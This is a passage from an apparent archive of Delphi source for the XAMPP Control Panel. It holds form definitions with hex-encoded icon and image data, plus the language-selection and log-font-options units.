1FF815421FF84FFE307FD11D83FEFC3FF8D1FF0009FF00C60FFA23B07FDF87FF 001A9BFE117FDA2FFE87BD27F24FFE3347FC22FF00B45FFD0F7A4FE49FFC668F 7BCFF00B60BFE9C7FE0550E4FF00E15FFC36FF00A2E47FF02E3FFE2A8FF857FF 000DBFE8B91FFC0B8FFF008AAF9EA8AC39D763ECBFB1F13FF4152FFC061FE47D 0BFF000AFF00E1B7FD1723FF008171FF00F1547FC2BFF86DFF0045C8FF00E05C 7FFC557CF5451CEBB07F63E27FE82A5FF80C3FC8FA17FE15FF00C36FFA2E47FF 0002E3FF00E2A8FF00857FF0DBFE8B91FF00C0B8FF00F8AAF9EA8A39D760FEC7 C4FF00D054BFF0187F91F42FFC2BFF0086DFF45C8FFE05C7FF00C551FF000AFF 00E1B7FD1723FF008171FF00F155F3D51473AEC1FD8F89FF00A0A97FE030FF00 23E85FF857FF000DBFE8B91FFC0B8FFF008AA3FE15FF00C36FFA2E47FF0002E3 FF00E2ABE7AA28E75D83FB1F13FF004152FF00C061FE47FFD9} OnClick = RadioGroup1Click end object ImgDe: TImage Left = 148 Top = 21 Width = 80 Height = 42 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 AutoSize = True Picture.Data = { 0A544A504547496D6167658F040000FFD8FFE000104A46494600010101004800 480000FFDB0043000503040404030504040405050506070C08070707070F0B0B 090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F131722 24221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E 1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E 1E1E1E1E1E1E1E1E1E1E1E1E1EFFC0001108002A005003012200021101031101 FFC4001F0000010501010101010100000000000000000102030405060708090A 0BFFC400B5100002010303020403050504040000017D01020300041105122131 410613516107227114328191A1082342B1C11552D1F02433627282090A161718 191A25262728292A3435363738393A434445464748494A535455565758595A63 6465666768696A737475767778797A838485868788898A92939495969798999A A2A3A4A5A6A7A8A9AAB2B3B4B5B6B7B8B9BAC2C3C4C5C6C7C8C9CAD2D3D4D5D6 D7D8D9DAE1E2E3E4E5E6E7E8E9EAF1F2F3F4F5F6F7F8F9FAFFC4001F01000301 01010101010101010000000000000102030405060708090A0BFFC400B5110002 0102040403040705040400010277000102031104052131061241510761711322 328108144291A1B1C109233352F0156272D10A162434E125F11718191A262728 292A35363738393A434445464748494A535455565758595A636465666768696A 737475767778797A82838485868788898A92939495969798999AA2A3A4A5A6A7 A8A9AAB2B3B4B5B6B7B8B9BAC2C3C4C5C6C7C8C9CAD2D3D4D5D6D7D8D9DAE2E3 E4E5E6E7E8E9EAF2F3F4F5F6F7F8F9FAFFDA000C03010002110311003F00F8CA 8ADBFF0084575FFF009F0FFC8C9FFC551FF08AEBFF00F3E1FF009193FF008AAC 3EB543F9D7DE8F5BFB0335FF00A06A9FF804BFC8C4A2B6FF00E115D7FF00E7C3 FF002327FF001547FC22BAFF00FCF87FE464FF00E2A8FAD50FE75F7A0FEC0CD7 FE81AA7FE012FF0023128ADBFF0084575FFF009F0FFC8C9FFC551FF08AEBFF00 F3E1FF009193FF008AA3EB543F9D7DE83FB0335FFA06A9FF00804BFC8C4A2B6F FE115D7FFE7C3FF2327FF1547FC22BAFFF00CF87FE464FFE2A8FAD50FE75F7A0 FEC0CD7FE81AA7FE012FF23128ADBFF84575FF00F9F0FF00C8C9FF00C551FF00 08AEBFFF003E1FF9193FF8AA3EB543F9D7DE83FB0335FF00A06A9FF804BFC8F4 FA2BDA7FE1447FD4D5FF0094FF00FED947FC288FFA9ABFF29FFF00DB2BF2DFF5 9B2BFF009FBF84BFC8FDFBFD63CB7FE7E7E12FF23C5A8AF69FF8511FF5357FE5 3FFF00B651FF000A23FEA6AFFCA7FF00F6CA3FD66CAFFE7EFE12FF0020FF0058 F2DFF9F9F84BFC8F16A2BDA7FE1447FD4D5FF94FFF00ED947FC288FF00A9ABFF 0029FF00FDB28FF59B2BFF009FBF84BFC83FD63CB7FE7E7E12FF0023C5A8AF69 FF008511FF005357FE53FF00FB651FF0A23FEA6AFF00CA7FFF006CA3FD66CAFF 00E7EFE12FF20FF58F2DFF009F9F84BFC8F16A2BDA7FE1447FD4D5FF0094FF00 FED947FC288FFA9ABFF29FFF00DB28FF0059B2BFF9FBF84BFC83FD63CB7FE7E7 E12FF23DA28A28AFC98FCB428A28A0028A28A0028A28A0028A28A00FFFD9} OnClick = RadioGroup1Click end object rbEn: TRadioButton Left = 54 Top = 84 Width = 39 Height = 22 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 TabOrder = 0 end object rbDe: TRadioButton Left = 180 Top = 84 Width = 40 Height = 22 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 TabOrder = 1 end end object bOkay: TBitBtn Left = 170 Top = 135 Width = 98 Height = 32 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akRight, akBottom] Caption = 'Save' Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FAF7F9FBF9FF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFF7FAF837833D347D3AF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF8FBF8408E4754A35C4F9F5733 7D39F8FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF F8FBF8499A515BAC6477CA8274C87E51A059347E3AF8FBF9FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFF8FCF951A65A63B56D7ECE897BCC8776CA8176 C98152A25A357F3BF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9FCFA59B063 6BBD7684D2907AC98560B26A63B46D78C98378CB8253A35C36803CF9FBF9FFFF FFFFFFFFFFFFFFFFFFFFD3ECD66CBD7679C98680CE8D53A75CB2D6B59CC9A05C AD677CCC8679CB8554A45D37813DF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFD9EFDC 6CBD756DC079B5DBB9FFFFFFFFFFFF98C79D5EAE687DCD897CCD8756A55F3882 3EF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFD5EDD8BEE2C3FFFFFFFFFFFFFFFFFFFF FFFF99C89D5FAF697FCE8A7ECE8957A66039833FF9FBF9FFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF99C89E60B06A81CF8D7FCF 8B58A761398540F9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF99C99E62B26C82D18F7AC88557A6609FC4A2FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9ACA9F63B3 6D5FAF69A5CBA9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFF9ACA9FA5CEA9FFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF} ModalResult = 1 TabOrder = 1 OnClick = bOkClick end object bAbort: TBitBtn Left = 64 Top = 136 Width = 98 Height = 33 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akRight, akBottom] Caption = 'Abort' Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCECEFAF9F9FEFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFF8F8FEC6C5F8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF D1D0FB4F4CF24140EDF9F9FEFFFFFFFFFFFFFFFFFFFFFFFFF8F8FE2725E4312F EAC6C5F8FFFFFFFFFFFFFFFFFFD3D3FC5856F56361FA5855F64341EDF9F9FEFF FFFFFFFFFFF9F8FE2E2DE6413FF14C4AF6312FEAC6C5F8FFFFFFFFFFFFE3E3FD 5B58F66562FA7170FF5956F64442EEF9F9FEF9F9FE3734E94745F26362FF4A48 F42F2DE9DAD9FAFFFFFFFFFFFFFFFFFFE3E3FD5B59F66663FA7471FF5A58F645 43EE403EEC504DF46867FF504EF53634EBDBDBFBFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFE3E3FD5C5AF66764FA7472FF7370FF706EFF6E6CFF5755F73F3DEEDCDC FBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE4E3FD5D5BF77976FF59 56FF5754FF7270FF4846F0DEDEFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFAFAFF5E5BF67D79FF5E5BFF5B58FF7674FF4744EFF9F9FEFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAFAFF6865F9706DFB807EFF7E 7BFF7C79FF7977FF5E5CF74946EFF9F9FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FBFAFF706DFC7774FD8682FF7673FC6462F8605DF76D6AFA7B79FF605DF74A47 EFF9F9FEFFFFFFFFFFFFFFFFFFFBFBFF7572FE7D7AFE8A87FF7C79FD6C69FBE5 E4FEE4E4FE615EF86E6CFA7D7AFF615FF74B48F0FBFBFFFFFFFFFFFFFFEEEEFF 7A77FF817EFF817EFE7471FDE6E6FEFFFFFFFFFFFFE4E4FE625FF86F6DFB7E7C FF625FF8B0AFF8FEFEFFFFFFFFFFFFFFEEEEFF7A77FF7976FEE7E7FFFFFFFFFF FFFFFFFFFFFFFFFFE4E4FE6461F86A68F98E8CF7E3E2FDFFFFFFFFFFFFFFFFFF FFFFFFEEEEFFE8E8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE5E4FEB8B8 FCD7D6FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F9FFFFFFFFFFFFFFFFFFFF} ModalResult = 3 TabOrder = 2 OnClick = bAbortClick end end xampp-control-panel/uLanguage.pas000066600000003774151723641500013104 0ustar00unit uLanguage; interface uses GnuGettext, Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, jpeg, ExtCtrls, Registry; type TfLanguage = class(TForm) gbOptions: TGroupBox; ImgEn: TImage; ImgDe: TImage; rbEn: TRadioButton; rbDe: TRadioButton; bOkay: TBitBtn; bAbort: TBitBtn; procedure bOkClick(Sender: TObject); procedure FormKeyPress(Sender: TObject; var Key: Char); procedure RadioGroup1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure bAbortClick(Sender: TObject); procedure FormShow(Sender: TObject); private OldLang: string; public end; var fLanguage: TfLanguage; implementation uses uTools, uMain; {$R *.dfm} procedure TfLanguage.bAbortClick(Sender: TObject); begin ModalResult := mrAbort; end; procedure TfLanguage.bOkClick(Sender: TObject); begin if rbEn.Checked then Config.Language := 'en' else if rbDe.Checked then Config.Language := 'de' else Config.Language := 'en'; ModalResult := mrOk; if (OldLang <> '') and (OldLang <> Config.Language) then MessageDlg(_('Restart application to apply changes!'), mtInformation, [mbOk], 0); end; procedure TfLanguage.FormCreate(Sender: TObject); begin TranslateComponent(self); end; procedure TfLanguage.FormKeyPress(Sender: TObject; var Key: Char); begin if Key = #27 then begin Key := #0; ModalResult := mrAbort; Close; end; end; procedure TfLanguage.FormShow(Sender: TObject); begin OldLang := Config.Language; if Config.Language = 'en' then rbEn.Checked := true else if Config.Language = 'de' then rbDe.Checked := true else rbEn.Checked := true; end; procedure TfLanguage.RadioGroup1Click(Sender: TObject); begin if (Sender = rbEn) or (Sender = ImgEn) then rbEn.Checked := true; if (Sender = rbDe) or (Sender = ImgDe) then rbDe.Checked := true; end; end. xampp-control-panel/uLogOptions.dfm000066600000014654151723641500013440 0ustar00object fLogOptions: TfLogOptions Left = 0 Top = 0 Caption = 'Log Options' ClientHeight = 181 ClientWidth = 325 Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -13 Font.Name = 'Arial' Font.Style = [] OldCreateOrder = False OnCreate = FormCreate OnShow = FormShow PixelsPerInch = 120 TextHeight = 16 object lblLogFont: TLabel Left = 16 Top = 64 Width = 51 Height = 16 Caption = 'Log Font' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -13 Font.Name = 'Arial' Font.Style = [] ParentFont = False end object lblLogFontSize: TLabel Left = 200 Top = 64 Width = 81 Height = 16 Caption = 'Log Font Size' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -13 Font.Name = 'Arial' Font.Style = [] ParentFont = False end object tLogFont: TEdit Left = 16 Top = 86 Width = 169 Height = 25 Enabled = False Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 0 end object bSelect: TButton Left = 16 Top = 21 Width = 121 Height = 37 Caption = 'Select Font' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -13 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 1 OnClick = bSelectClick end object tLogFontSize: TEdit Left = 200 Top = 86 Width = 89 Height = 25 Enabled = False Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 2 end object bSave: TBitBtn Left = 200 Top = 131 Width = 98 Height = 33 Caption = 'Save' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -13 Font.Name = 'Arial' Font.Style = [] Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FAF7F9FBF9FF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFF7FAF837833D347D3AF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF8FBF8408E4754A35C4F9F5733 7D39F8FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF F8FBF8499A515BAC6477CA8274C87E51A059347E3AF8FBF9FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFF8FCF951A65A63B56D7ECE897BCC8776CA8176 C98152A25A357F3BF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9FCFA59B063 6BBD7684D2907AC98560B26A63B46D78C98378CB8253A35C36803CF9FBF9FFFF FFFFFFFFFFFFFFFFFFFFD3ECD66CBD7679C98680CE8D53A75CB2D6B59CC9A05C AD677CCC8679CB8554A45D37813DF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFD9EFDC 6CBD756DC079B5DBB9FFFFFFFFFFFF98C79D5EAE687DCD897CCD8756A55F3882 3EF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFD5EDD8BEE2C3FFFFFFFFFFFFFFFFFFFF FFFF99C89D5FAF697FCE8A7ECE8957A66039833FF9FBF9FFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF99C89E60B06A81CF8D7FCF 8B58A761398540F9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF99C99E62B26C82D18F7AC88557A6609FC4A2FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9ACA9F63B3 6D5FAF69A5CBA9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFF9ACA9FA5CEA9FFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF} ParentFont = False TabOrder = 3 OnClick = bSaveClick end object bCancel: TBitBtn Left = 87 Top = 131 Width = 98 Height = 33 Caption = 'Abort' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -13 Font.Name = 'Arial' Font.Style = [] Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCECEFAF9F9FEFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFF8F8FEC6C5F8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF D1D0FB4F4CF24140EDF9F9FEFFFFFFFFFFFFFFFFFFFFFFFFF8F8FE2725E4312F EAC6C5F8FFFFFFFFFFFFFFFFFFD3D3FC5856F56361FA5855F64341EDF9F9FEFF FFFFFFFFFFF9F8FE2E2DE6413FF14C4AF6312FEAC6C5F8FFFFFFFFFFFFE3E3FD 5B58F66562FA7170FF5956F64442EEF9F9FEF9F9FE3734E94745F26362FF4A48 F42F2DE9DAD9FAFFFFFFFFFFFFFFFFFFE3E3FD5B59F66663FA7471FF5A58F645 43EE403EEC504DF46867FF504EF53634EBDBDBFBFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFE3E3FD5C5AF66764FA7472FF7370FF706EFF6E6CFF5755F73F3DEEDCDC FBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE4E3FD5D5BF77976FF59 56FF5754FF7270FF4846F0DEDEFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFAFAFF5E5BF67D79FF5E5BFF5B58FF7674FF4744EFF9F9FEFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAFAFF6865F9706DFB807EFF7E 7BFF7C79FF7977FF5E5CF74946EFF9F9FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FBFAFF706DFC7774FD8682FF7673FC6462F8605DF76D6AFA7B79FF605DF74A47 EFF9F9FEFFFFFFFFFFFFFFFFFFFBFBFF7572FE7D7AFE8A87FF7C79FD6C69FBE5 E4FEE4E4FE615EF86E6CFA7D7AFF615FF74B48F0FBFBFFFFFFFFFFFFFFEEEEFF 7A77FF817EFF817EFE7471FDE6E6FEFFFFFFFFFFFFE4E4FE625FF86F6DFB7E7C FF625FF8B0AFF8FEFEFFFFFFFFFFFFFFEEEEFF7A77FF7976FEE7E7FFFFFFFFFF FFFFFFFFFFFFFFFFE4E4FE6461F86A68F98E8CF7E3E2FDFFFFFFFFFFFFFFFFFF FFFFFFEEEEFFE8E8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE5E4FEB8B8 FCD7D6FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F9FFFFFFFFFFFFFFFFFFFF} ParentFont = False TabOrder = 4 OnClick = bCancelClick end object FontDialog: TFontDialog OnClose = FontDialogClose Font.Charset = ANSI_CHARSET Font.Color = clWindowText Font.Height = -17 Font.Name = 'Arial' Font.Style = [] OnApply = FontDialogApply Left = 224 Top = 8 end end xampp-control-panel/uLogOptions.pas000066600000004146151723641500013450 0ustar00unit uLogOptions; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, GnuGettext, uTools, uMain, Vcl.Buttons; type TfLogOptions = class(TForm) FontDialog: TFontDialog; lblLogFont: TLabel; tLogFont: TEdit; lblLogFontSize: TLabel; bSelect: TButton; tLogFontSize: TEdit; bSave: TBitBtn; bCancel: TBitBtn; procedure bSelectClick(Sender: TObject); procedure FontDialogApply(Sender: TObject; Wnd: HWND); procedure FontDialogClose(Sender: TObject); procedure FormShow(Sender: TObject); procedure FormCreate(Sender: TObject); procedure bCancelClick(Sender: TObject); procedure bSaveClick(Sender: TObject); private { Private declarations } public { Public declarations } end; var fLogOptions: TfLogOptions; implementation {$R *.dfm} procedure TfLogOptions.bCancelClick(Sender: TObject); begin Close; end; procedure TfLogOptions.bSaveClick(Sender: TObject); begin Config.LogSettings.Font := FontDialog.Font.Name; Config.LogSettings.FontSize := FontDialog.Font.Size; fMain.AdjustLogFont(FontDialog.Font.Name, FontDialog.Font.Size); SaveSettings; Close; end; procedure TfLogOptions.bSelectClick(Sender: TObject); begin FontDialog.Execute(); end; procedure TfLogOptions.FontDialogApply(Sender: TObject; Wnd: HWND); begin tLogFont.Text := FontDialog.Font.Name; tLogFontSize.Text := IntToStr(FontDialog.Font.Size); end; procedure TfLogOptions.FontDialogClose(Sender: TObject); begin tLogFont.Text := FontDialog.Font.Name; tLogFontSize.Text := IntToStr(FontDialog.Font.Size); end; procedure TfLogOptions.FormCreate(Sender: TObject); begin TranslateComponent(Self); end; procedure TfLogOptions.FormShow(Sender: TObject); begin tLogFont.Text := Config.LogSettings.Font; tLogFontSize.Text := IntToStr(Config.LogSettings.FontSize); FontDialog.Font.Name := Config.LogSettings.Font; FontDialog.Font.Size := Config.LogSettings.FontSize; end; end. xampp-control-panel/uMain.dfm000066600000662223151723641500012230 0ustar00object fMain: TfMain Left = 880 Top = 550 Caption = 'XAMPP Control Panel v' ClientHeight = 502 ClientWidth = 832 Color = clBtnFace DoubleBuffered = True Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'Arial' Font.Style = [] OldCreateOrder = False OnClose = FormClose OnCloseQuery = FormCloseQuery OnCreate = FormCreate OnDestroy = FormDestroy DesignSize = ( 832 502) PixelsPerInch = 120 TextHeight = 16 object imgXAMPP: TImage Left = 9 Top = 7 Width = 32 Height = 32 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 AutoSize = True Picture.Data = { 055449636F6E0000010003004040000001002000284200003600000030300000 01002000A82500005E4200002020000001002000A81000000668000028000000 4000000080000000010020000000000000420000000000000000000000000000 0000000094A5BD0094A5BD009FAAB903758FB5484370B283416FB5B4366BB9B8 2561BBBB366BBAEC396EBDF0386EC0F0376EC1F0376FC3F0366FC3F0366FC4F0 366FC4F0366FC5F0366FC5F0366FC5F03670C5F03670C5F03670C5F03670C5F0 3670C5F03670C5F03670C5F03670C5F03670C5F03670C5F03670C5F03670C5F0 3670C5F03670C5F03670C5F03670C5F03670C5F03670C5F03670C5F03670C5F0 3670C5F03670C5F03670C5F03670C5F03670C5F03670C5F03670C5F0366FC5F0 366FC5F0366FC4F0366FC4F0366FC3F0376FC3F0376EC2F0376EC0F0386EBEF0 3A6DBAF03369BAD43068BAB84371B5B84973B29C6283B5609BA7B80AAEB3BD00 B0B6BF0094A5BD0097A7BE0A6082B3BD255CAEFF1957B4FF1356BAFF165ABFFF 195DC4FF175EC7FF175FCAFF1861CDFF1861CFFF1862D0FF1962D0FF1963D1FF 1863D2FF1863D2FF1863D2FF1863D2FF1863D2FF1963D2FF1963D2FF1963D2FF 1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF 1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF 1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF1863D2FF1863D2FF1863D2FF 1863D2FF1863D2FF1863D1FF1962D1FF1862D0FF1862CFFF1860CDFF1760CBFF 165EC9FF175DC5FF175BC1FF1356BBFF1555B5FF1E58AFFF4D74B0DDA6AFBD43 B2B7BF007F97BD005B7FB5961450ABFF1454B3FF195BBCFF1B5FC3FF1B61C8FF 1C63CDFF1C64D0FF1D66D3FF1D68D6FF1D68D8FF1D68D9FF1E69DAFF1E69DAFF 1E69DAFF1E69DBFF1E69DBFF1E69DBFF1E69DBFF1E69DBFF1E69DAFF1E69DAFF 1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF 1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF 1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DBFF1E69DBFF1E69DBFF1E69DBFF 1E69DBFF1E69DAFF1E69DAFF1E69DAFF1D68D9FF1D68D8FF1D67D6FF1D66D4FF 1C65D2FF1C63CEFF1C61CAFF1B5FC5FF195CBDFF1757B6FF0D4DACFF4C75B1D9 9BA9C0076F8DBB0B2C61AEE61352B0FF1A5BBBFF1B5EC3FF1C62C9FF1C64D0FF 1D67D5FF1E68D8FF1E6ADBFF1E6BDDFF1E6CDFFF1F6CE0FF1F6DE1FF1F6DE1FF 1F6DE1FF1F6DE1FF1F6DE1FF1F6DE1FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF 1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF 1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF 1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6DE2FF1F6DE1FF 1F6DE1FF1F6DE1FF1F6DE1FF1F6DE1FF1F6DE0FF1E6CDFFF1E6BDEFF1E6ADCFF 1E69D9FF1D67D6FF1D65D1FF1C63CBFF1B5FC4FF1A5CBDFF1655B4FF1D57ACFF 7692BC5E839BBF611F59AFFD1757B6FF1A5DC0FF1B61C8FF1C64D0FF1D67D7FF 1E6ADBFF1E6BDEFF1F6DE1FF1F6EE3FF1F6FE5FF1F70E6FF1F6FE7FF2070E7FF 2070E8FF2070E8FF2070E8FF2071E8FF2070E9FF2070E9FF2070E9FF2070E9FF 2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF 2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF 2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2071E8FF2071E8FF 2070E8FF2070E8FF2070E7FF1F70E7FF1F6FE7FF1F70E5FF1F6FE4FF1F6EE1FF 1F6CDFFF1E6ADCFF1D68D8FF1D65D2FF1C62CBFF1A5EC2FF195AB9FF1251AEFF 5179B5A14B76B7831C57B1FF1859BAFF1B5FC5FF1C63CDFF1D67D5FF1E6ADBFF 1F6CDFFF1F6DE3FF1F6FE6FF2070E8FF2071EAFF2072EBFF2072ECFF2072EDFF 2072EDFF2072EDFF2072EDFF2073EDFF2073EDFF2073EDFF2073EDFF2073EDFF 2073EDFF2073EDFF2073EDFF2073EDFF2073EDFF2073EEFF2073EEFF2073EEFF 2073EEFF2073EEFF2073EEFF2073EEFF2073EEFF2073EDFF2073EDFF2073EDFF 2073EDFF2073EDFF2073EDFF2073EDFF2073EDFF2073EDFF2073EDFF2073EDFF 2072EDFF2072EDFF2072EDFF2072ECFF2072ECFF2071EAFF2070E9FF1F70E7FF 1F6EE4FF1F6DE0FF1E6ADCFF1D68D7FF1C64D0FF1B5FC7FF1A5BBDFF1252B2FF 3E6EB3BC406EB3871755B2FF1A5BBEFF1B60C8FF1C64D1FF1E68D8FF1E6CDEFF 1F6EE3FF206FE7FF2071EAFF2072ECFF2072EEFF2173EFFF2174EFFF2174F0FF 2174F0FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF 2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF 2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF 2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF 2174F1FF2174F0FF2174F0FF2173F0FF2173EFFF2173EEFF2072EDFF2071EAFF 2070E8FF1F6EE4FF1F6CDFFF1E69DAFF1D66D3FF1C61CAFF1A5DC1FF1656B6FF 